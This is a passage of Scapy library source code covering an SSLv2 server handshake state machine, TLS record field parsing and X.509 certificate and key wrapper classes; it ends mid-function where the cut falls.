self.vprint("Sending a TLSAlert to the client...") @ATMT.condition(CLOSE_NOTIFY_FINAL) def close_session_final(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 # We might call shutdown, but unit tests with s_client fail with this # self.socket.shutdown(1) self.socket.close() raise self.FINAL() # SSLv2 handshake # @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) def sslv2_should_handle_ClientHello(self): self.raise_on_packet(SSLv2ClientHello, self.SSLv2_HANDLED_CLIENTHELLO) @ATMT.state() def SSLv2_HANDLED_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_HANDLED_CLIENTHELLO) def sslv2_should_add_ServerHello(self): self.add_record(is_sslv2=True) cert = self.mycert ciphers = [0x010080, 0x020080, 0x030080, 0x040080, 0x050080, 0x060040, 0x0700C0] connection_id = randstring(16) p = SSLv2ServerHello(cert=cert, ciphers=ciphers, connection_id=connection_id) self.add_msg(p) raise self.SSLv2_ADDED_SERVERHELLO() @ATMT.state() def SSLv2_ADDED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_ADDED_SERVERHELLO) def sslv2_should_send_ServerHello(self): self.flush_records() raise self.SSLv2_SENT_SERVERHELLO() @ATMT.state() def SSLv2_SENT_SERVERHELLO(self): raise self.SSLv2_WAITING_CLIENTMASTERKEY() @ATMT.state() def SSLv2_WAITING_CLIENTMASTERKEY(self): self.get_next_msg() raise self.SSLv2_RECEIVED_CLIENTMASTERKEY() @ATMT.state() def SSLv2_RECEIVED_CLIENTMASTERKEY(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=1) def sslv2_should_handle_ClientMasterKey(self): self.raise_on_packet(SSLv2ClientMasterKey, self.SSLv2_HANDLED_CLIENTMASTERKEY) @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=2) def missing_ClientMasterKey(self): raise self.SSLv2_MISSING_CLIENTMASTERKEY() @ATMT.state() def SSLv2_MISSING_CLIENTMASTERKEY(self): self.vprint("Missing SSLv2 ClientMasterKey!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_HANDLED_CLIENTMASTERKEY(self): raise self.SSLv2_RECEIVED_CLIENTFINISHED() @ATMT.state() def SSLv2_RECEIVED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=1) def sslv2_should_handle_ClientFinished(self): self.raise_on_packet(SSLv2ClientFinished, self.SSLv2_HANDLED_CLIENTFINISHED) @ATMT.state() def SSLv2_HANDLED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=1) def sslv2_should_add_ServerVerify_from_ClientFinished(self): if self.in_handshake(SSLv2ServerVerify): return self.add_record(is_sslv2=True) p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) self.add_msg(p) raise self.SSLv2_ADDED_SERVERVERIFY() @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=2) def sslv2_should_add_ServerVerify_from_NoClientFinished(self): if self.in_handshake(SSLv2ServerVerify): return self.add_record(is_sslv2=True) p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) self.add_msg(p) raise self.SSLv2_ADDED_SERVERVERIFY() @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=3) def sslv2_missing_ClientFinished(self): raise self.SSLv2_MISSING_CLIENTFINISHED() @ATMT.state() def SSLv2_MISSING_CLIENTFINISHED(self): self.vprint("Missing SSLv2 ClientFinished!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_SERVERVERIFY(self): pass @ATMT.condition(SSLv2_ADDED_SERVERVERIFY) def sslv2_should_send_ServerVerify(self): self.flush_records() raise self.SSLv2_SENT_SERVERVERIFY() @ATMT.state() def SSLv2_SENT_SERVERVERIFY(self): if self.in_handshake(SSLv2ClientFinished): raise self.SSLv2_HANDLED_CLIENTFINISHED() else: raise self.SSLv2_RECEIVED_CLIENTFINISHED() # SSLv2 client authentication # @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=2) def sslv2_should_add_RequestCertificate(self): if not self.client_auth or self.in_handshake(SSLv2RequestCertificate): return self.add_record(is_sslv2=True) self.add_msg(SSLv2RequestCertificate(challenge=randstring(16))) raise self.SSLv2_ADDED_REQUESTCERTIFICATE() @ATMT.state() def SSLv2_ADDED_REQUESTCERTIFICATE(self): pass @ATMT.condition(SSLv2_ADDED_REQUESTCERTIFICATE) def sslv2_should_send_RequestCertificate(self): self.flush_records() raise self.SSLv2_SENT_REQUESTCERTIFICATE() @ATMT.state() def SSLv2_SENT_REQUESTCERTIFICATE(self): raise self.SSLv2_WAITING_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_WAITING_CLIENTCERTIFICATE(self): self.get_next_msg() raise self.SSLv2_RECEIVED_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_RECEIVED_CLIENTCERTIFICATE(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=1) def sslv2_should_handle_ClientCertificate(self): self.raise_on_packet(SSLv2ClientCertificate, self.SSLv2_HANDLED_CLIENTCERTIFICATE) @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=2) def sslv2_missing_ClientCertificate(self): raise self.SSLv2_MISSING_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing SSLv2 ClientCertificate!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_HANDLED_CLIENTCERTIFICATE(self): self.vprint("Received client certificate...") # We could care about the client CA, but we don't. raise self.SSLv2_HANDLED_CLIENTFINISHED() # end of SSLv2 client authentication # @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=3) def sslv2_should_add_ServerFinished(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ServerFinished(sid=randstring(16))) raise self.SSLv2_ADDED_SERVERFINISHED() @ATMT.state() def SSLv2_ADDED_SERVERFINISHED(self): pass @ATMT.condition(SSLv2_ADDED_SERVERFINISHED) def sslv2_should_send_ServerFinished(self): self.flush_records() raise self.SSLv2_SENT_SERVERFINISHED() @ATMT.state() def SSLv2_SENT_SERVERFINISHED(self): self.vprint("SSLv2 handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.SSLv2_WAITING_CLIENTDATA() # end of SSLv2 handshake # @ATMT.state() def SSLv2_WAITING_CLIENTDATA(self): self.get_next_msg(self.max_client_idle_time, 1) raise self.SSLv2_RECEIVED_CLIENTDATA() @ATMT.state() def SSLv2_RECEIVED_CLIENTDATA(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTDATA) def sslv2_should_handle_ClientData(self): if not self.buffer_in: self.vprint("Client idle time maxed out.") raise self.SSLv2_CLOSE_NOTIFY() p = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] if hasattr(p, "load"): cli_data = p.load print("> Received: %r" % cli_data) if cli_data.startswith(b"goodbye"): self.vprint() self.vprint("Seems like the client left...") raise self.WAITING_CLIENT() else: cli_data = str(p) print("> Received: %r" % p) lines = cli_data.split(b"\n") for line in lines: if line.startswith(b"stop_server"): raise self.SSLv2_CLOSE_NOTIFY_FINAL() if cli_data.startswith(b"GET / HTTP/1.1"): p = Raw(self.http_sessioninfo()) if self.is_echo_server or cli_data.startswith(b"GET / HTTP/1.1"): self.add_record(is_sslv2=True) self.add_msg(p) raise self.SSLv2_ADDED_SERVERDATA() raise self.SSLv2_HANDLED_CLIENTDATA() @ATMT.state() def SSLv2_HANDLED_CLIENTDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_ADDED_SERVERDATA(self): pass @ATMT.condition(SSLv2_ADDED_SERVERDATA) def sslv2_should_send_ServerData(self): self.flush_records() raise self.SSLv2_SENT_SERVERDATA() @ATMT.state() def SSLv2_SENT_SERVERDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_CLOSE_NOTIFY(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send 'goodbye' to the client...") @ATMT.condition(SSLv2_CLOSE_NOTIFY) def sslv2_close_session(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 self.buffer_out = [] self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def SSLv2_CLOSE_NOTIFY_FINAL(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send 'goodbye' to the client...") @ATMT.condition(SSLv2_CLOSE_NOTIFY_FINAL) def sslv2_close_session_final(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 self.socket.close() raise self.FINAL() @ATMT.state(stop=True, final=True) def FINAL(self): self.vprint("Closing server socket...") self.serversocket.close() self.vprint("Ending TLS server automaton.") ================================================ FILE: scapy/layers/tls/basefields.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ TLS base fields, used for record parsing/building. As several operations depend upon the TLS version or ciphersuite, the packet has to provide a TLS context. """ import struct from scapy.fields import ByteField, ShortEnumField, ShortField, StrField from scapy.compat import orb _tls_type = {20: "change_cipher_spec", 21: "alert", 22: "handshake", 23: "application_data"} _tls_version = {0x0002: "SSLv2", 0x0200: "SSLv2", 0x0300: "SSLv3", 0x0301: "TLS 1.0", 0x0302: "TLS 1.1", 0x0303: "TLS 1.2", 0x7f12: "TLS 1.3-d18", 0x7f13: "TLS 1.3-d19", 0x0304: "TLS 1.3"} _tls_version_options = {"sslv2": 0x0002, "sslv3": 0x0300, "tls1": 0x0301, "tls10": 0x0301, "tls11": 0x0302, "tls12": 0x0303, "tls13-d18": 0x7f12, "tls13-d19": 0x7f13, "tls13": 0x0304} def _tls13_version_filter(version, legacy_version): if version < 0x0304: return version else: return legacy_version class _TLSClientVersionField(ShortEnumField): """ We use the advertised_tls_version if it has been defined, and the legacy 0x0303 for TLS 1.3 packets. """ def i2h(self, pkt, x): if x is None: v = pkt.tls_session.advertised_tls_version if v: return _tls13_version_filter(v, 0x0303) return "" return x def i2m(self, pkt, x): if x is None: v = pkt.tls_session.advertised_tls_version if v: return _tls13_version_filter(v, 0x0303) return b"" return x class _TLSVersionField(ShortEnumField): """ We use the tls_version if it has been defined, else the advertised version. Also, the legacy 0x0301 is used for TLS 1.3 packets. """ def i2h(self, pkt, x): if x is None: v = pkt.tls_session.tls_version if v: return _tls13_version_filter(v, 0x0301) else: adv_v = pkt.tls_session.advertised_tls_version return _tls13_version_filter(adv_v, 0x0301) return x def i2m(self, pkt, x): if x is None: v = pkt.tls_session.tls_version if v: return _tls13_version_filter(v, 0x0301) else: adv_v = pkt.tls_session.advertised_tls_version return _tls13_version_filter(adv_v, 0x0301) return x class _TLSLengthField(ShortField): def i2repr(self, pkt, x): s = super(_TLSLengthField, self).i2repr(pkt, x) if pkt.deciphered_len is not None: dx = pkt.deciphered_len ds = super(_TLSLengthField, self).i2repr(pkt, dx) s += " [deciphered_len= %s]" % ds return s class _TLSIVField(StrField): """ As stated in Section 6.2.3.2. RFC 4346, TLS 1.1 implements an explicit IV mechanism. For that reason, the behavior of the field is dependent on the TLS version found in the packet if available or otherwise (on build, if not overloaded, it is provided by the session). The size of the IV and its value are obviously provided by the session. As a side note, for the first packets exchanged by peers, NULL being the default enc alg, it is empty (except if forced to a specific value). Also note that the field is kept empty (unless forced to a specific value) when the cipher is a stream cipher (and NULL is considered a stream cipher). """ def i2len(self, pkt, i): if i is not None: return len(i) tmp_len = 0 cipher_type = pkt.tls_session.rcs.cipher.type if cipher_type == "block": if pkt.tls_session.tls_version >= 0x0302: tmp_len = pkt.tls_session.rcs.cipher.block_size elif cipher_type == "aead": tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len return tmp_len def i2m(self, pkt, x): return x or b"" def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): tmp_len = 0 cipher_type = pkt.tls_session.rcs.cipher.type if cipher_type == "block": if pkt.tls_session.tls_version >= 0x0302: tmp_len = pkt.tls_session.rcs.cipher.block_size elif cipher_type == "aead": tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2repr(self, pkt, x): return repr(self.i2m(pkt, x)) class _TLSMACField(StrField): def i2len(self, pkt, i): if i is not None: return len(i) return pkt.tls_session.wcs.mac_len def i2m(self, pkt, x): if x is None: return b"" return x def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if ( pkt.tls_session.rcs.cipher.type != "aead" and False in pkt.tls_session.rcs.cipher.ready.values() ): # XXX Find a more proper way to handle the still-encrypted case return s, b"" tmp_len = pkt.tls_session.rcs.mac_len return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2repr(self, pkt, x): # XXX Provide status when dissection has been performed successfully? return repr(self.i2m(pkt, x)) class _TLSPadField(StrField): def i2len(self, pkt, i): if i is not None: return len(i) return 0 def i2m(self, pkt, x): if x is None: return b"" return x def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if pkt.tls_session.consider_read_padding(): # This should work with SSLv3 and also TLS versions. # Note that we need to retrieve pkt.padlen beforehand, # because it's possible that the padding is followed by some data # from another TLS record (hence the last byte from s would not be # the last byte from the current record padding). tmp_len = orb(s[pkt.padlen - 1]) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) return s, None def i2repr(self, pkt, x): # XXX Provide status when dissection has been performed successfully? return repr(self.i2m(pkt, x)) class _TLSPadLenField(ByteField): def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if pkt.tls_session.consider_read_padding(): return ByteField.getfield(self, pkt, s) return s, None # SSLv2 fields class _SSLv2LengthField(_TLSLengthField): def i2repr(self, pkt, x): s = super(_SSLv2LengthField, self).i2repr(pkt, x) if pkt.with_padding: x |= 0x8000 # elif pkt.with_escape: #XXX no complete support for 'escape' yet # x |= 0x4000 s += " [with padding: %s]" % hex(x) return s def getfield(self, pkt, s): msglen = struct.unpack('!H', s[:2])[0] pkt.with_padding = (msglen & 0x8000) == 0 if pkt.with_padding: msglen_clean = msglen & 0x3fff else: msglen_clean = msglen & 0x7fff return s[2:], msglen_clean class _SSLv2MACField(_TLSMACField): pass class _SSLv2PadField(_TLSPadField): def getfield(self, pkt, s): if pkt.padlen is not None: tmp_len = pkt.padlen return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) return s, None class _SSLv2PadLenField(_TLSPadLenField): def getfield(self, pkt, s): if pkt.with_padding: return ByteField.getfield(self, pkt, s) return s, None ================================================ FILE: scapy/layers/tls/cert.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2008 Arnaud Ebalard # # 2015, 2016, 2017 Maxence Tury # 2022-2025 Gabriel Potter r""" High-level methods for PKI objects (X.509 certificates, CRLs, CSR, Keys, CMS). Supported keys include RSA, ECDSA and EdDSA. The classes below are wrappers for the ASN.1 objects defined in x509.py. Example 1: Certificate & Private key ____________________________________ For instance, here is what you could do in order to modify the subject public key info of a 'cert' and then resign it with whatever 'key':: >>> from scapy.layers.tls.cert import * >>> cert = Cert("cert.der") >>> k = PrivKeyRSA() # generate a private key >>> cert.setSubjectPublicKeyFromPrivateKey(k) >>> cert.resignWith(k) >>> cert.export("newcert.pem") >>> k.export("mykey.pem") One could also edit arguments like the serial number, as such:: >>> from scapy.layers.tls.cert import * >>> c = Cert("mycert.pem") >>> c.tbsCertificate.serialNumber = 0x4B1D >>> k = PrivKey("mykey.pem") # import an existing private key >>> c.resignWith(k) >>> c.export("newcert.pem") To export the public key of a private key:: >>> k = PrivKey("mykey.pem") >>> k.pubkey.export("mypubkey.pem") Example 2: CertList and CertTree ________________________________ Load a .pem file that contains multiple certificates:: >>> l = CertList("ca_chain.pem") >>> l.show() 0000 [X.509 Cert Subject:/C=FR/OU=Scapy Test PKI/CN=Scapy Test CA...] 0001 [X.509 Cert Subject:/C=FR/OU=Scapy Test PKI/CN=Scapy Test Client...] Use 'CertTree' to organize the certificates in a tree:: >>> tree = CertTree("ca_chain.pem") # or tree = CertTree(l) >>> tree.show() /C=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test CA [Self Signed] /C=FR/OU=Scapy Test PKI/CN=Scapy Test Client [Not Self Signed] Example 3: Certificate Signing Request (CSR) ____________________________________________ Scapy's :py:class:`~scapy.layers.tls.cert.CSR` class supports both PKCS#10 and CMC formats. Load and display a CSR:: >>> csr = CSR("cert.req") >>> csr [CSR Format: CMC, Subject:/O=TestOrg/CN=TestCN, Verified: True] >>> csr.certReq.show() ###[ PKCS10_CertificationRequest ]### \certificationRequestInfo\ |###[ PKCS10_CertificationRequestInfo ]### | version = 0x0 | | | value = [...] Get its public key and verify its signature:: >>> csr.pubkey >>> csr.verifySelf() True No need for obnoxious openssl tweaking anymore. :) """ import base64 import enum import os import time import warnings from scapy.config import conf, crypto_validator from scapy.compat import Self from scapy.error import warning from scapy.utils import binrepr from scapy.asn1.asn1 import ( ASN1_BIT_STRING, ASN1_NULL, ASN1_OID, ASN1_STRING, ) from scapy.asn1.mib import hash_by_oid from scapy.packet import Packet from scapy.layers.x509 import ( CMS_CertificateChoices, CMS_ContentInfo, CMS_EncapsulatedContentInfo, CMS_IssuerAndSerialNumber, CMS_RevocationInfoChoice, CMS_SignedAttrsForSignature, CMS_SignedData, CMS_SignerInfo, CMS_SubjectKeyIdentifier, ECDSAPrivateKey_OpenSSL, ECDSAPrivateKey, ECDSAPublicKey, EdDSAPrivateKey, EdDSAPublicKey, PKCS10_CertificationRequest, RSAPrivateKey_OpenSSL, RSAPrivateKey, RSAPublicKey, X509_AlgorithmIdentifier, X509_Attribute, X509_AttributeValue, X509_Cert, X509_CRL, X509_SubjectPublicKeyInfo, ) from scapy.layers.tls.crypto.pkcs1 import ( _DecryptAndSignRSA, _EncryptAndVerifyRSA, _get_hash, pkcs_os2ip, ) from scapy.compat import bytes_encode # Typing imports from typing import ( List, Optional, Union, ) if conf.crypto_valid: from cryptography.exceptions import InvalidSignature from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa, ec, x25519 # cryptography raised the minimum RSA key length to 1024 in 43.0+ # https://github.com/pyca/cryptography/pull/10278 # but we need still 512 for EXPORT40 ciphers (yes EXPORT is terrible) # https://datatracker.ietf.org/doc/html/rfc2246#autoid-66 # The following detects the change and hacks around it using the backend try: rsa.generate_private_key(public_exponent=65537, key_size=512) _RSA_512_SUPPORTED = True except ValueError: # cryptography > 43.0 _RSA_512_SUPPORTED = False from cryptography.hazmat.primitives.asymmetric.rsa import rust_openssl # Maximum allowed size in bytes for a certificate file, to avoid # loading huge file when importing a cert _MAX_KEY_SIZE = 50 * 1024 _MAX_CERT_SIZE = 50 * 1024 _MAX_CRL_SIZE = 10 * 1024 * 1024 # some are that big _MAX_CSR_SIZE = 50 * 1024 ##################################################################### # Some helpers ##################################################################### @conf.commands.register def der2pem(der_string, obj="UNKNOWN"): """Convert DER octet string to PEM format (with optional header)""" # Encode a byte string in PEM format. Header advertises type. pem_string = "-----BEGIN %s-----\n" % obj base64_string = base64.b64encode(der_string).decode() chunks = [base64_string[i : i + 64] for i in range(0, len(base64_string), 64)] pem_string += "\n".join(chunks) pem_string += "\n-----END %s-----\n" % obj return pem_string @conf.commands.register def pem2der(pem_string): """Convert PEM string to DER format""" # Encode all lines between the first '-----\n' and the 2nd-to-last '-----'. pem_string = pem_string.replace(b"\r", b"") first_idx = pem_string.find(b"-----\n") + 6 if pem_string.find(b"-----BEGIN", first_idx) != -1: raise Exception("pem2der() expects only one PEM-encoded object") last_idx = pem_string.rfind(b"-----", 0, pem_string.rfind(b"-----")) base64_string = pem_string[first_idx:last_idx] base64_string.replace(b"\n", b"") der_string = base64.b64decode(base64_string) return der_string def split_pem(s): """ Split PEM objects. Useful to process concatenated certificates. """ pem_strings = [] while s != b"": start_idx = s.find(b"-----BEGIN") if start_idx == -1: break end_idx = s.find(b"-----END") if end_idx == -1: raise Exception("Invalid PEM object (missing END tag)") end_idx = s.find(b"\n", end_idx) + 1 if end_idx == 0: # There is no final \n end_idx = len(s) pem_strings.append(s[start_idx:end_idx]) s = s[end_idx:] return pem_strings class _PKIObj(object): def __init__(self, frmt, der): self.frmt = frmt self._der = der class _PKIObjMaker(type): def __call__(cls, obj_path, obj_max_size, pem_marker=None): # This enables transparent DER and PEM-encoded data imports. # Note that when importing a PEM file with multiple objects (like ECDSA # private keys output by openssl), it will concatenate every object in # order to create a 'der' attribute. When converting a 'multi' DER file # into a PEM file, though, the PEM attribute will not be valid, # because we do not try to identify the class of each object. error_msg = "Unable to import data" if obj_path is None: raise Exception(error_msg) obj_path = bytes_encode(obj_path) if (b"\x00" not in obj_path) and os.path.isfile(obj_path): _size = os.path.getsize(obj_path) if _size > obj_max_size: raise Exception(error_msg) try: with open(obj_path, "rb") as f: _raw = f.read() except Exception: raise Exception(error_msg) else: _raw = obj_path try: if b"-----BEGIN" in _raw: frmt = "PEM" pem = _raw der_list = split_pem(pem) der = b"".join(map(pem2der, der_list)) else: frmt = "DER" der = _raw except Exception: raise Exception(error_msg) p = _PKIObj(frmt, der) return p ##################################################################### # PKI objects wrappers ##################################################################### ############### # Public Keys # ############### class _PubKeyFactory(_PKIObjMaker): """ Metaclass for PubKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with import_from_asn1pkt() submethod. """ def __call__(cls, key_path=None, cryptography_obj=None): # This allows to import cryptography objects directly if cryptography_obj is not None: obj = type.__call__(cls) obj.__class__ = cls obj.frmt = "original" obj.marker = "PUBLIC KEY" obj.pubkey = cryptography_obj return obj if key_path is None: obj = type.__call__(cls) if cls is PubKey: cls = PubKeyRSA obj.__class__ = cls obj.frmt = "original" obj.fill_and_store() return obj # This deals with the rare RSA 'kx export' call. if isinstance(key_path, tuple): obj = type.__call__(cls) obj.__class__ = PubKeyRSA obj.frmt = "tuple" obj.import_from_tuple(key_path) return obj # Now for the usual calls, key_path may be the path to either: # _an X509_SubjectPublicKeyInfo, as processed by openssl; # _an RSAPublicKey; # _an ECDSAPublicKey; # _an EdDSAPublicKey. obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) try: spki = X509_SubjectPublicKeyInfo(obj._der) pubkey = spki.subjectPublicKey if isinstance(pubkey, RSAPublicKey): obj.__class__ = PubKeyRSA obj.import_from_asn1pkt(pubkey) elif isinstance(pubkey, ECDSAPublicKey): obj.__class__ = PubKeyECDSA obj.import_from_der(obj._der) elif isinstance(pubkey, EdDSAPublicKey): obj.__class__ = PubKeyEdDSA obj.import_from_der(obj._der) else: raise obj.marker = "PUBLIC KEY" except Exception: try: pubkey = RSAPublicKey(obj._der) obj.__class__ = PubKeyRSA obj.import_from_asn1pkt(pubkey) obj.marker = "RSA PUBLIC KEY" except Exception: # We cannot import an ECDSA public key without curve knowledge if conf.debug_dissector: raise raise Exception("Unable to import public key") return obj class PubKey(metaclass=_PubKeyFactory): """ Parent class for PubKeyRSA, PubKeyECDSA and PubKeyEdDSA. Provides common verifyCert() and export() methods. """ def verifyCert(self, cert): """Verifies either a Cert or an X509_Cert.""" h = _get_cert_sig_hashname(cert) tbsCert = cert.tbsCertificate sigVal = bytes(cert.signatureValue) return self.verify(bytes(tbsCert), sigVal, h=h, t="pkcs") def verifyCsr(self, csr): """Verifies a CSR.""" h = _get_csr_sig_hashname(csr) certReqInfo = csr.certReq.certificationRequestInfo sigVal = bytes(csr.certReq.signature) return self.verify(bytes(certReqInfo), sigVal, h=h, t="pkcs") @property def pem(self): return der2pem(self.der, self.marker) @property def der(self): return self.pubkey.public_bytes( encoding=serialization.Encoding.DER, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) def public_numbers(self, *args, **kwargs): return self.pubkey.public_numbers(*args, **kwargs) @property def key_size(self): return self.pubkey.key_size def export(self, filename, fmt=None): """ Export public key in 'fmt' format (DER or PEM) to file 'filename' """ if fmt is None: if filename.endswith(".pem"): fmt = "PEM" else: fmt = "DER" with open(filename, "wb") as f: if fmt == "DER": return f.write(self.der) elif fmt == "PEM": return f.write(self.pem.encode()) @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): """ Verify signed data. """ raise NotImplementedError class PubKeyRSA(PubKey, _EncryptAndVerifyRSA): """ Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None): pubExp = pubExp or 65537 if not modulus: real_modulusLen = modulusLen or 2048 if real_modulusLen < 1024 and not _RSA_512_SUPPORTED: # cryptography > 43.0 compatibility private_key = rust_openssl.rsa.generate_private_key( public_exponent=pubExp, key_size=real_modulusLen, ) else: private_key = rsa.generate_private_key( public_exponent=pubExp, key_size=real_modulusLen, backend=default_backend(), ) self.pubkey = private_key.public_key() else: real_modulusLen = len(binrepr(modulus)) if modulusLen and real_modulusLen != modulusLen: warning("modulus and modulusLen do not match!") pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) self.pubkey = pubNum.public_key(default_backend()) self.marker = "PUBLIC KEY" # Lines below are only useful for the legacy part of pkcs1.py pubNum = self.pubkey.public_numbers() self._modulusLen = real_modulusLen self._modulus = pubNum.n self._pubExp = pubNum.e @crypto_validator def import_from_tuple(self, tup): # this is rarely used e, m, mLen = tup if isinstance(m, bytes): m = pkcs_os2ip(m) if isinstance(e, bytes): e = pkcs_os2ip(e) self.fill_and_store(modulus=m, pubExp=e) def import_from_asn1pkt(self, pubkey): modulus = pubkey.modulus.val pubExp = pubkey.publicExponent.val self.fill_and_store(modulus=modulus, pubExp=pubExp) def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): # no ECDSA encryption support, hence no ECDSA specific keywords here return _EncryptAndVerifyRSA.encrypt(self, msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return _EncryptAndVerifyRSA.verify(self, msg, sig, t=t, h=h, mgf=mgf, L=L) class PubKeyECDSA(PubKey): """ Wrapper for ECDSA keys based on the cryptography library. Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or ec.SECP256R1 private_key = ec.generate_private_key(curve(), default_backend()) self.pubkey = private_key.public_key() @crypto_validator def import_from_der(self, pubkey): # No lib support for explicit curves nor compressed points. self.pubkey = serialization.load_der_public_key( pubkey, backend=default_backend(), ) def encrypt(self, msg, h="sha256", **kwargs): raise Exception("No ECDSA encryption support") @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): # 'sig' should be a DER-encoded signature, as per RFC 3279 try: self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h))) return True except InvalidSignature: return False class PubKeyEdDSA(PubKey): """ Wrapper for EdDSA keys based on the cryptography library. Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or x25519.X25519PrivateKey private_key = curve.generate() self.pubkey = private_key.public_key() @crypto_validator def import_from_der(self, pubkey): self.pubkey = serialization.load_der_public_key( pubkey, backend=default_backend(), ) def encrypt(self, msg, **kwargs): raise Exception("No EdDSA encryption support") @crypto_validator def verify(self, msg, sig, **kwargs): # 'sig' should be a DER-encoded signature, as per RFC 3279 try: self.pubkey.verify(sig, msg) return True except InvalidSignature: return False ################ # Private Keys # ################ class _PrivKeyFactory(_PKIObjMaker): """ Metaclass for PrivKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with import_from_asn1pkt() submethod. """ def __call__(cls, key_path=None, cryptography_obj=None): """ key_path may be the path to either: _an RSAPrivateKey_OpenSSL (as generated by openssl); _an ECDSAPrivateKey_OpenSSL (as generated by openssl); _an RSAPrivateKey; _an ECDSAPrivateKey. """ if key_path is None: obj = type.__call__(cls) if cls is PrivKey: cls = PrivKeyECDSA obj.__class__ = cls obj.frmt = "original" obj.fill_and_store() return obj # This allows to import cryptography objects directly if cryptography_obj is not None: # We (stupidly) need to go through the whole import process because RSA # does more than just importing the cryptography objects... obj = _PKIObj( "DER", cryptography_obj.private_bytes( encoding=serialization.Encoding.DER, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption(), ), ) else: # Load from file obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) try: privkey = RSAPrivateKey_OpenSSL(obj._der) privkey = privkey.privateKey obj.__class__ = PrivKeyRSA obj.marker = "PRIVATE KEY" except Exception: try: privkey = ECDSAPrivateKey_OpenSSL(obj._der) privkey = privkey.privateKey obj.__class__ = PrivKeyECDSA obj.marker = "EC PRIVATE KEY" except Exception: try: privkey = RSAPrivateKey(obj._der) obj.__class__ = PrivKeyRSA obj.marker = "RSA PRIVATE KEY" except Exception: try: privkey = ECDSAPrivateKey(obj._der) obj.__class__ = PrivKeyECDSA obj.marker = "EC PRIVATE KEY" except Exception: try: privkey = EdDSAPrivateKey(obj._der) obj.__class__ = PrivKeyEdDSA obj.marker = "PRIVATE KEY" except Exception: raise Exception("Unable to import private key") try: 